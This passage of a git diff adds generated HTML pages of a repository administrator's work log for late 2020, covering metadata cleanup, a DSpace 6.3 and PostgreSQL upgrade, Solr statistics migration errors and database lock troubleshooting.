+dspace=> \COPY (SELECT DISTINCT text_value as "dc.publisher", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 39 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-10-28-publishers.csv WITH CSV HEADER;
+COPY 3882
+dspace=> \COPY (SELECT DISTINCT text_value as "dc.source", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 55 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-10-28-journal-titles.csv WITH CSV HEADER;
+COPY 3684
+dspace=> \COPY (SELECT DISTINCT text_value as "dc.relation.ispartofseries", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 43 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-10-28-series.csv WITH CSV HEADER;
+COPY 5598
+
    +
  • I noticed there are still some mapping for acronyms and other fixes that haven’t been applied, so I ran my create-mappings.py script against Elasticsearch again +
      +
    • Now I’m comparing yesterday’s mappings with today’s and I don’t see any duplicates…
      • +
    +
    • +
+
$ grep -c '"find"' /tmp/elasticsearch-mappings*
+/tmp/elasticsearch-mappings2.txt:350
+/tmp/elasticsearch-mappings.txt:1228
+$ cat /tmp/elasticsearch-mappings* | grep -v '{"index":{}}' | wc -l
+1578
+$ cat /tmp/elasticsearch-mappings* | grep -v '{"index":{}}' | sort | uniq | wc -l
+1578
+
    +
  • I have no idea why they wouldn’t have been caught yesterday when I originally ran the script on a clean AReS with no mappings… +
      +
    • In any case, I combined the mappings and then uploaded them to AReS:
      • +
    +
    • +
+
$ cat /tmp/elasticsearch-mappings* > /tmp/new-elasticsearch-mappings.txt
+$ curl -XDELETE http://localhost:9200/openrxv-values
+$ curl -XPOST http://localhost:9200/openrxv-values/_doc/_bulk -H "Content-Type: application/json" --data-binary @/tmp/new-elasticsearch-mappings.txt
+
    +
  • The latest indexing (second for today!) finally finshed on AReS and the countries and affiliations/crps/journals all look MUCH better +
      +
    • There are still a few acronyms present, some of which are in the value mappings and some which aren’t
      • +
    +
    • +
  • Lower case some straggling AGROVOC subjects on CGSpace:
    • +
+
dspace=# BEGIN;
+dspace=# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE resource_type_id=2 AND metadata_field_id=57 AND text_value ~ '[[:upper:]]';
+UPDATE 123
+dspace=# COMMIT;
+
    +
  • Move some top-level communities to the CGIAR System community for Peter:
    • +
+
$ dspace community-filiator --set --parent 10568/83389 --child 10568/1208
+$ dspace community-filiator --set --parent 10568/83389 --child 10568/56924
+

2020-10-30

+
    +
  • The AtomicStatisticsUpdateCLI process finished on the current DSpace Test statistics core after about 32 hours +
      +
    • I started it on the statistics-2019 core
      • +
    +
    • +
  • Atmire responded about the duplicate values in Solr that I had asked about a few days ago +
      +
    • They said it could be due to the schema and asked if I see it only on old records or even on new ones created in the new CUA with DSpace 6
      • +
    • I did a test and found that I got duplicate data after browsing for a minute on DSpace Test (version 6) and sent them a screenshot
      • +
    +
    • +
  • Looking over Peter’s corrections to journal titles (dc.source) and publishers (dc.publisher) +
      +
    • I had to check the corrections for strange Unicode errors and replacements with “|” and “;” in OpenRefine using this GREL:
      • +
    +
    • +
+
or(
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/)),
+  isNotNull(value.match(/.*\u2019.*/)),
+  isNotNull(value.match(/.*\u00b4.*/)),
+  isNotNull(value.match(/.*\u007e.*/))
+).toString()
+
    +
  • Then I did a test to apply the corrections and deletions on my local DSpace:
    • +
+
$ ./fix-metadata-values.py -i 2020-10-30-fix-854-journals.csv -db dspace -u dspace -p 'fuuu' -f dc.source -t 'correct' -m 55
+$ ./delete-metadata-values.py -i 2020-10-30-delete-90-journals.csv -db dspace -u dspace -p 'fuuu' -f dc.source -m 55
+$ ./fix-metadata-values.py -i 2020-10-30-fix-386-publishers.csv -db dspace -u dspace -p 'fuuu' -f dc.publisher -t correct -m 39
+$ ./delete-metadata-values.py -i 2020-10-30-delete-10-publishers.csv -db dspace -u dspace -p 'fuuu' -f dc.publisher -m 39
+
    +
  • I will wait to apply them on CGSpace when I have all the other corrections from Peter processed
    • +
+

2020-10-31

+
    +
  • I had the idea to use the country formatter for CGSpace on the AReS Explorer because we have the cg.coverage.iso3166-alpha2 field… +
      +
    • This will be better than using the raw text values because AReS will match directly from the ISO 3166-1 list when using the country formatter
      • +
    +
    • +
  • Quickly process the sponsor corrections Peter sent me a few days ago and test them locally:
    • +
+
$ ./fix-metadata-values.py -i 2020-10-31-fix-82-sponsors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -t 'correct' -m 29
+$ ./delete-metadata-values.py -i 2020-10-31-delete-74-sponsors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -m 29
+
    +
  • I applied all the fixes from today and yesterday on CGSpace and then started a full Discovery re-index:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-11/index.html b/docs/2020-11/index.html new file mode 100644 index 000000000..a56c859a7 --- /dev/null +++ b/docs/2020-11/index.html @@ -0,0 +1,785 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2020

+

+ + in + Notes + + +

+
+

2020-11-01

+
    +
  • Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +
      +
    • So far we’ve spent at least fifty hours to process the statistics and statistics-2019 core… wow.
      • +
    +
    • +
+

2020-11-02

+
    +
  • Talk to Moayad and fix a few issues on OpenRXV: +
      +
    • Incorrect views and downloads (caused by Elasticsearch’s default result set size of 10)
      • +
    • Invalid share link
      • +
    • Missing “https://” for Handles in the Simple Excel report (caused by using the handle instead of the uri)
      • +
    • Sorting the list of items by views
      • +
    +
    • +
  • I resumed the processing of the statistics-2018 Solr core after it spent 20 hours to get to 60%
    • +
+

2020-11-04

+
    +
  • After 29 hours the statistics-2017 core finished processing so I started the statistics-2016 core on DSpace Test
    • +
+

2020-11-05

+
    +
  • Peter sent me corrections and deletions for the author affiliations +
      +
    • I quickly proofed them for UTF-8 issues in OpenRefine and csv-metadata-quality and then tested them locally and then applied them on CGSpace:
      • +
    +
    • +
+
$ ./fix-metadata-values.py -i 2020-11-05-fix-862-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -t 'correct' -m 211
+$ ./delete-metadata-values.py -i 2020-11-05-delete-29-affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211
+
    +
  • Then I started a Discovery re-index on CGSpace:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    92m24.993s
+user    8m11.858s
+sys     2m26.931s
+

2020-11-06

+
    +
  • Restart the AtomicStatisticsUpdateCLI processing of the statistics-2016 core on DSpace Test after 20 hours… +
      +
    • This phase finished after five hours so I started it on the statistics-2015 core
      • +
    +
    • +
+

2020-11-07

+
    +
  • Atmire responded about the issue with duplicate values in owningComm and containerCommunity etc +
      +
    • I told them to please look into it and use some of our credits if need be
      • +
    +
    • +
  • The statistics-2015 core finished after 20 hours so I started the statistics-2014 core
    • +
+

2020-11-08

+
    +
  • Add “Data Paper” to types on CGSpace
    • +
  • Add “SCALING CLIMATE-SMART AGRICULTURE” to CCAFS subjects on CGSpace
    • +
  • Add “ANDEAN ROOTS AND TUBERS” to CIP subjects on CGSpace
    • +
  • Add CGIAR System subjects to Discovery sidebar facets on CGSpace +
      +
    • Also add the System subject to item view on CGSpace
      • +
    +
    • +
  • The statistics-2014 core finished processing after five hours, so I started processing the statistics-2013 core on DSpace Test
    • +
  • Since I was going to restart CGSpace and update the Discovery indexes anyways I decided to check for any straggling upper case AGROVOC entries and lower case them:
    • +
+
dspace=# BEGIN;
+dspace=# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE resource_type_id=2 AND metadata_field_id=57 AND text_value ~ '[[:upper:]]';
+UPDATE 164
+dspace=# COMMIT;
+
    +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • I had to restart Tomcat once after the machine started up to get all Solr statistics cores to load properly
      • +
    +
    • +
  • After about ten more hours the rest of the Solr statistics cores finished processing on DSpace Test and I started optimizing them in Solr admin UI
    • +
+

2020-11-10

+
    +
  • I am noticing that CGSpace doesn’t have any statistics showing for years before 2020, but all cores are loaded successfully in Solr Admin UI… strange +
      +
    • I restarted Tomcat and I see in Solr Admin UI that the statistics-2015 core failed to load
      • +
    • Looking in the DSpace log I see:
      • +
    +
    • +
+
2020-11-10 08:43:59,634 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2015
+2020-11-10 08:43:59,687 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2018
+2020-11-10 08:43:59,707 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2015
+2020-11-10 08:44:00,004 WARN  org.dspace.core.ConfigurationManager @ Requested configuration module: atmire-datatables not found
+2020-11-10 08:44:00,005 WARN  org.dspace.core.ConfigurationManager @ Requested configuration module: atmire-datatables not found
+2020-11-10 08:44:00,005 WARN  org.dspace.core.ConfigurationManager @ Requested configuration module: atmire-datatables not found
+2020-11-10 08:44:00,325 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2015
+
    +
  • Seems that the core gets probed twice… perhaps a threading issue? +
      +
    • The only thing I can think of is the acceptorThreadCount parameter in Tomcat’s server.xml, which has been set to 2 since 2018-01 (we started sharding the Solr statistics cores in 2019-01 and that’s when this problem arose)
      • +
    • I will try reducing that to 1
      • +
    • Wow, now it’s even worse:
      • +
    +
    • +
+
2020-11-10 08:51:03,007 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2018
+2020-11-10 08:51:03,008 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2015
+2020-11-10 08:51:03,137 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2018
+2020-11-10 08:51:03,153 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2015
+2020-11-10 08:51:03,289 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2015
+2020-11-10 08:51:03,289 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2010
+2020-11-10 08:51:03,475 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2010
+2020-11-10 08:51:03,475 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2016
+2020-11-10 08:51:03,730 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2016
+2020-11-10 08:51:03,731 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2017
+2020-11-10 08:51:03,992 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2017
+2020-11-10 08:51:03,992 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2011
+2020-11-10 08:51:04,178 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2011
+2020-11-10 08:51:04,178 INFO  org.dspace.statistics.SolrLogger @ Loading core with name: statistics-2012
+
    +
  • Could it be because we have two Tomcat connectors? +
      +
    • I restarted Tomcat a few more times before all cores loaded, and still there are no stats before 2020-01… hmmmmm
      • +
    +
    • +
  • I added a lowercase formatter to OpenRXV so that we can lowercase AGROVOC subjects during harvesting
    • +
+

2020-11-11

+
    +
  • Atmire responded with a quote for the work to fix the duplicate owningComm, etc in our Solr data +
      +
    • I told them to proceed, as it’s within our budget of credits
      • +
    • They will write a processor for DSpace 6 to remove the duplicates
      • +
    +
    • +
  • I did some tests to add a usage statistics chart to the item views on DSpace Test +
      +
    • It is inspired by Salem’s work on WorldFish’s repository, and it hits the dspace-statistics-api for the current item and displays a graph
      • +
    • I got it working very easily for all-time statistics with Chart.js, but I think I will need to use Highcharts or something else because Chart.js is HTML5 canvas and doesn’t allow theming via CSS (so our Bootstrap brand colors for each theme won’t work) +
        +
      • Hmm, Highcharts is not licensed under and open source license so I will not use it
        • +
      • Perhaps I’ll use Chartist with the popover plugin…
        • +
      +
      • +
    • I think I’ll pursue this after the DSpace 6 upgrade…
      • +
    +
    • +
+

2020-11-12

+
    +
  • I was looking at Solr again trying to find a way to get community and collection stats by faceting on owningComm and owningColl and it seems to work actually +
      +
    • The duplicated values in the multi-value fields don’t seem to affect the counts, as I had thought previously (though we should still get rid of them)
      • +
    • One major difference between the raw numbers I was looking at and Atmire’s numbers is that Atmire’s code filters “Internal” IP addresses…
      • +
    • Also, instead of doing isBot:false I think I should do -isBot:true because it’s not a given that all documents will have this field and have it false, but we can definitely exclude the ones that have it as true
      • +
    +
    • +
  • First we get the total number of communities with stats (using calcdistinct):
    • +
+
facet=true&facet.field=owningComm&facet.mincount=1&facet.limit=1&facet.offset=0&stats=true&stats.field=owningComm&stats.calcdistinct=true&shards=http://localhost:8081/solr/statistics,http://localhost:8081/solr/statistics-2019,http://localhost:8081/solr/statistics-2018,http://localhost:8081/solr/statistics-2017,http://localhost:8081/solr/statistics-2016,http://localhost:8081/solr/statistics-2015,http://localhost:8081/solr/statistics-2014,http://localhost:8081/solr/statistics-2013,http://localhost:8081/solr/statistics-2012,http://localhost:8081/solr/statistics-2011,http://localhost:8081/solr/statistics-2010
+
    +
  • Then get stats themselves, iterating 100 items at a time with limit and offset:
    • +
+
facet=true&facet.field=owningComm&facet.mincount=1&facet.limit=100&facet.offset=0&shards=http://localhost:8081/solr/statistics,http://localhost:8081/solr/statistics-2019,http://localhost:8081/solr/statistics-2018,http://localhost:8081/solr/statistics-2017,http://localhost:8081/solr/statistics-2016,http://localhost:8081/solr/statistics-2015,http://localhost:8081/solr/statistics-2014,http://localhost:8081/solr/statistics-2013,http://localhost:8081/solr/statistics-2012,http://localhost:8081/solr/statistics-2011,http://localhost:8081/solr/statistics-2010
+
    +
  • I was surprised to see 10,000,000 docs with isBot:true when I was testing on DSpace Test… +
      +
    • This has got to be a mistake of some kind, as I see 4 million in 2014 that are from dns:localhost., perhaps that’s when we didn’t have useProxies set up correctly?
      • +
    • I don’t see the same thing on CGSpace… I wonder what happened?
      • +
    • Perhaps they got re-tagged during the DSpace 6 upgrade, somehow during the Solr migration? Hmmmmm. Definitely have to be careful with isBot:true in the future and not automatically purge these!!!
      • +
    +
    • +
  • I noticed 120,000+ hits from monit, FeedBurner, and Blackboard Safeassign in 2014, 2015, 2016, 2017, etc… +
      +
    • I hadn’t seen monit before, but the others are already in DSpace’s spider agents lists for some time so probably only appear in older stats cores
      • +
    • The issue with purging these using check-spider-hits.sh is that it can’t do case-insensitive regexes and some metacharacters like \s don’t work so I added case-sensitive patterns to a local agents file and purged them with the script
      • +
    +
    • +
+

2020-11-15

+
    +
  • Upgrade CGSpace to DSpace 6.3 +
      +
    • First build, update, and migrate the database:
      • +
    +
    • +
+
$ dspace cleanup -v
+$ git checkout origin/6_x-dev-atmire-modules
+$ npm install -g yarn
+$ chrt -b 0 mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false -P \!dspace-lni,\!dspace-rdf,\!dspace-sword,\!dspace-swordv2,\!dspace-jspui clean package
+$ sudo su - postgres
+$ psql dspace -c 'CREATE EXTENSION pgcrypto;'
+$ psql dspace -c "DELETE FROM schema_version WHERE version IN ('5.8.2015.12.03.3');"
+$ exit
+$ rm -rf /home/cgspace/config/spring
+$ ant update
+$ dspace database info
+$ dspace database migrate
+$ sudo systemctl start tomcat7
+
    +
  • After starting Tomcat DSpace should start up OK and begin Discovery indexing, but I want to also upgrade from PostgreSQL 9.6 to 10 +
      +
    • I installed and configured PostgreSQL 10 using the Ansible playbooks, then migrated the database manually:
      • +
    +
    • +
+
# systemctl stop tomcat7
+# pg_ctlcluster 9.6 main stop
+# tar -cvzpf var-lib-postgresql-9.6.tar.gz /var/lib/postgresql/9.6
+# tar -cvzpf etc-postgresql-9.6.tar.gz /etc/postgresql/9.6
+# pg_ctlcluster 10 main stop
+# pg_dropcluster 10 main
+# pg_upgradecluster 9.6 main
+# pg_dropcluster 9.6 main
+# systemctl start postgresql
+# dpkg -l | grep postgresql | grep 9.6 | awk '{print $2}' | xargs dpkg -r
+
    +
  • Then I ran all system updates and rebooted the server…
    • +
  • After the server came back up I re-ran the Ansible playbook to make sure all configs and services were updated
    • +
  • I disabled the dspace-statistsics-api for now because it won’t work until I migrate all the Solr statistics anyways
    • +
  • Start a full Discovery re-indexing:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    211m30.726s
+user    134m40.124s
+sys     2m17.979s
+
    +
  • Towards the end of the indexing there were a few dozen of these messages:
    • +
+
2020-11-15 13:23:21,685 INFO  com.atmire.dspace.discovery.service.AtmireSolrService @ Removed Item: null from Index
+
    +
  • I updated all the Ansible infrastructure and DSpace branches to be the DSpace 6 ones
    • +
  • I will wait until the Discovery indexing is finished to start doing the Solr statistics migration
    • +
  • I tested the email functionality and it seems to need more configuration:
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: blah@cgiar.org
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: com.sun.mail.smtp.SMTPSendFailedException: 451 5.7.3 STARTTLS is required to send mail [AM4PR0701CA0003.eurprd07.prod.outlook.com]
+
    +
  • I copied the mail.extraproperties = mail.smtp.starttls.enable=true setting from the old DSpace 5 dspace.cfg and now the emails are working
    • +
  • After the Discovery indexing finished I started processing the Solr stats one core and 2.5 million records at a time:
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics
+
    +
  • After about 6,000,000 records I got the same error that I’ve gotten every time I test this migration process:
    • +
+
Exception: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:68)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:54)
+        at org.dspace.util.SolrUpgradePre6xStatistics.batchUpdateStats(SolrUpgradePre6xStatistics.java:161)
+        at org.dspace.util.SolrUpgradePre6xStatistics.run(SolrUpgradePre6xStatistics.java:456)
+        at org.dspace.util.SolrUpgradePre6xStatistics.main(SolrUpgradePre6xStatistics.java:365)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+

2020-11-16

+
    +
  • Users are having issues submitting items to CGSpace +
      +
    • Looking at the data I see that connections skyrocketed since DSpace 6 upgrade yesterday, and they are all in “waiting for lock” state:
      • +
    +
    • +
+

PostgreSQL connections week +PostgreSQL locks week

+
    +
  • There are almost 1,500 locks:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+1494
+
    +
  • I sent a mail to the dspace-tech mailing list to ask for help… +
      +
    • For now I just restarted PostgreSQL and a few users were able to complete submissions…
      • +
    +
    • +
  • While processing the statistics-2018 Solr core I got the same memory error that I have gotten every time I processed this core in testing:
    • +
+
Exception: Java heap space
+java.lang.OutOfMemoryError: Java heap space
+        at java.util.Arrays.copyOf(Arrays.java:3332)
+        at java.lang.AbstractStringBuilder.ensureCapacityInternal(AbstractStringBuilder.java:124)
+        at java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:448)
+        at java.lang.StringBuffer.append(StringBuffer.java:270)
+        at java.io.StringWriter.write(StringWriter.java:101)
+        at org.apache.solr.common.util.XML.writeXML(XML.java:133)
+        at org.apache.solr.client.solrj.util.ClientUtils.writeVal(SourceFile:160)
+        at org.apache.solr.client.solrj.util.ClientUtils.writeXML(SourceFile:128)
+        at org.apache.solr.client.solrj.request.UpdateRequest.writeXML(UpdateRequest.java:365)
+        at org.apache.solr.client.solrj.request.UpdateRequest.getXML(UpdateRequest.java:281)
+        at org.apache.solr.client.solrj.request.RequestWriter.getContentStream(RequestWriter.java:67)
+        at org.apache.solr.client.solrj.request.RequestWriter$LazyContentStream.getDelegate(RequestWriter.java:95)
+        at org.apache.solr.client.solrj.request.RequestWriter$LazyContentStream.getName(RequestWriter.java:105)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.createMethod(HttpSolrServer.java:302)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:68)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:54)
+        at org.dspace.util.SolrUpgradePre6xStatistics.batchUpdateStats(SolrUpgradePre6xStatistics.java:161)
+        at org.dspace.util.SolrUpgradePre6xStatistics.run(SolrUpgradePre6xStatistics.java:456)
+        at org.dspace.util.SolrUpgradePre6xStatistics.main(SolrUpgradePre6xStatistics.java:365)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • I increased the Java heap memory to 4096MB and restarted the processing +
      +
    • After a few hours I got the following error, which I have gotten several times over the last few months:
      • +
    +
    • +
+
Exception: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:68)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:54)
+        at org.dspace.util.SolrUpgradePre6xStatistics.batchUpdateStats(SolrUpgradePre6xStatistics.java:161)
+        at org.dspace.util.SolrUpgradePre6xStatistics.run(SolrUpgradePre6xStatistics.java:456)
+        at org.dspace.util.SolrUpgradePre6xStatistics.main(SolrUpgradePre6xStatistics.java:365)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+

2020-11-17

+
    +
  • Chat with Peter about using some remaining CRP Livestock open access money to fund more work on OpenRXV / AReS +
      +
    • I will create GitHub issues for each of the things we talked about and then create ToRs to send to CodeObia for a quote
      • +
    +
    • +
  • Continue migrating Solr statistics to DSpace 6 UUID format after the upgrade on Sunday
    • +
  • Regarding the IWMI issue about flagships and strategic priorities we can use CRP Livestock as an example because all their flagships are mapped to collections
    • +
  • Database issues are worse today…
    • +
+

PostgreSQL connections week

+
    +
  • There are over 2,000 locks:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+2071
+

2020-11-18

+
    +
  • I decided to enable the rollbackOnReturn=true option in Tomcat’s JDBC connection pool parameters because I noticed that all of the “idle in transaction” connections waiting for locks were SELECT queries +
      +
    • There are many posts on the Internet about people having this issue with Hibernate
      • +
    • The locks are lower now, but Peter and Abenet are still having issues approving items and Tezira forwarded one strange case where an item was “approved” and was assigned a handle, but it doesn’t exist…
      • +
    • I sent another mail to the dspace-tech mailing list to ask for help
      • +
    • I reverted the rollbackOnReturn change in Tomcat…
      • +
    • I sent a message to Atmire to ask for urgent help
      • +
    +
    • +
  • Call with IWMI and Abenet about them potentially moving from InMagic to CGSpace +
      +
    • They have questions about the reporting on AReS
      • +
    • We told them that we can use collections to infer Strategic Priorities and Research Groups and WLE Flagships
      • +
    • It sounds like we will create this structure under the top-level IWMI community: +
        +
      • IWMI Strategic Priorities (sub-community) +
          +
        • Water, Food and Ecosystems (sub-community) +
            +
          • Sustainable and Resilient Food Production Systems (collection)
            • +
          • Sustainable Water infrastructure and Ecosystems (collection)
            • +
          • Integrated Basin and Aquifer Management
            • +
          +
          • +
        • Water, Climate Change and Resilience (sub-community) +
            +
          • Climate Change Adaptation and Resilience (collection)
            • +
          +
          • +
        • etc…
          • +
        +
        • +
      +
      • +
    • They will submit items to their normal output type collections and map to these
      • +
    +
    • +
  • In other news I finally finished processing the Solr statistics for UUIDs and re-indexed the stats with the dspace-statistics-api + +
    • +
  • Peter got a strange message this evening when trying to update metadata:
    • +
+
2020-11-18 16:57:33,309 ERROR org.hibernate.engine.jdbc.batch.internal.BatchingBatch @ HHH000315: Exception executing batch [Batch update returned unexpected row count from update [0]; actual row count: 0; expected: 1]
+2020-11-18 16:57:33,316 ERROR org.hibernate.engine.jdbc.batch.internal.BatchingBatch @ HHH000315: Exception executing batch [Batch update returned unexpected row count from update [13]; actual row count: 0; expected: 1]
+2020-11-18 16:57:33,385 INFO  org.hibernate.engine.jdbc.batch.internal.AbstractBatchImpl @ HHH000010: On release of batch it still contained JDBC statements
+
    +
  • Minor bug fixes to limit parameter in DSpace Statistics API + +
    • +
  • Send a list of potential ToRs for a next phase of OpenRXV development to Michael Victor for feedback: +
      +
    • Enable advanced reporting templates using “Angular expressions” in Docxtemplater (would be used immediately for IWMI and Bioversity–CIAT)
      • +
    • Enable embedding of charts like world map and word cloud in reports
      • +
    • Enable embedding of item thumbnails in reports, similar to the “list of information products”
      • +
    • Enable something like the “Statistics” Excel report Peter wanted in 2019 so we can get community and collection statistics reports
      • +
    • Add a new “metrics” block with statistics about top authors and items by number of views and downloads for the current search terms
      • +
    • Add ability to change the explorer UI to “Usage Statistics” mode where lists of authors, affiliations, sponsors, CRPs, communities, collections, etc are sorted according to the number of views or downloads for the current search results, rather than by number of occurrences of metadata values
      • +
    • Add ability to “drill down” or modify search filter terms by clicking on countries in the map
      • +
    • Enable date-based usage statistics (currently only “all time” statistics are available)
      • +
    • Fixing minor bugs for all issues filed on GitHub
      • +
    +
    • +
  • I also added GitHub issues for each of them
    • +
+

2020-11-19

+
    +
  • I started a fresh reharvest on AReS and when it was done I noticed that the metadata from CGSpace is fine, but the views and downloads don’t seem to be working
    • +
  • Peter said he was able to approve a few items on CGSpace immediately “like old times” this morning
    • +
  • The PostgreSQL status looks much better now, though I haven’t changed anything
    • +
+

PostgreSQL connections week +PostgreSQL locks week +PostgreSQL transaction log week +PostgreSQL transactions week

+
    +
  • Very curious that there was such a high number of rolled back transactions after the update
    • +
+

2020-11-22

+
    +
  • PostgreSQL situation on CGSpace (linode18) looks much better now:
    • +
+

PostgreSQL locks week +PostgreSQL transaction log week

+
    +
  • In other news, I noticed that harvesting DSpace 6 works fine in OpenRXV, but the statistics fail on page 1 + +
    • +
  • Abenet asked for help trying to add a new user to the Bioversity and CIAT groups on CGSpace +
      +
    • I see that the user search is split on five results, so the user in question appears on page 2
      • +
    • I asked Abenet if she was getting an error or it was simply this…
      • +
    +
    • +
  • Maria Garuccio sent me an example report that she wants to be able to generate from AReS +
      +
    • First, she would like to have the option to group by output type
      • +
    • Second, she would like to be able to control the sorting in the template, like sorting the citation alphabetically
      • +
    • I filed an issue: https://github.com/ilri/OpenRXV/issues/60
      • +
    +
    • +
  • Mohammad Salem had asked if there was an item ID to UUID mapping for CGSpace +
      +
    • I found a thread on the dspace-tech mailing list that pointed out that there is a new uuid column in the item table
      • +
    • Only old items have an item_id so we can get a mapping easily:
      • +
    +
    • +
+
dspace=# \COPY (SELECT item_id,uuid FROM item WHERE in_archive='t' AND withdrawn='f' AND item_id IS NOT NULL) TO /tmp/2020-11-22-item-id2uuid.csv WITH CSV HEADER;
+COPY 87411
+
    +
  • Saving some notes I wrote down about faceting by community and collection in Solr, for potential use in the future in the DSpace Statistics API
    • +
  • Facet by owningComm to see total number of distinct communities (136):
